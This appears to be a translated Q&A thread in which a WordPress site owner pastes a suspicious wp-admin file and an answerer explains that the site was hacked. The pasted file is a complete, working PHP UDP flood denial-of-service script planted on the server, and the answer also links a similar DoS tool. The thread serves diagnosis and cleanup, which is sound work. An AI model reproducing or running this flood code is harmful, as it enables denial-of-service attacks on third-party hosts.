我对fsockopen有问题。我的网站工作正常,但当我登录到管理面板(wordpress),我得到了这个错误信息在我的屏幕上:Warning: fsockopen() [function.fsockopen]: unable to connect to udp://:0 (Failed to parse address "") in /home/visit014/public_html/wp-admin/function.php on line 32
wp-admin/function.php的代码如下:
`<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//www.ZeroDayExile.com
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
`有人能帮我吗?我看到类似的问题,但不是functions.php的问题,所以代码是不同的。请帮帮我。谢谢!
发布于 2013-08-29 20:21:57
你的functions.php已经被破坏和篡改了。有人在用你的网站攻击别人。它不应该包含任何这样的代码,重新上传一个干净版本的脚本,你应该是很好的。
在这里可以找到一个非常类似的脚本,它用于向受害者发出洪水攻击。https://code.google.com/p/php-dos-attacker/downloads/detail?name=php-dos-attacker-1.2b.zip
https://stackoverflow.com/questions/16913301
复制相似问题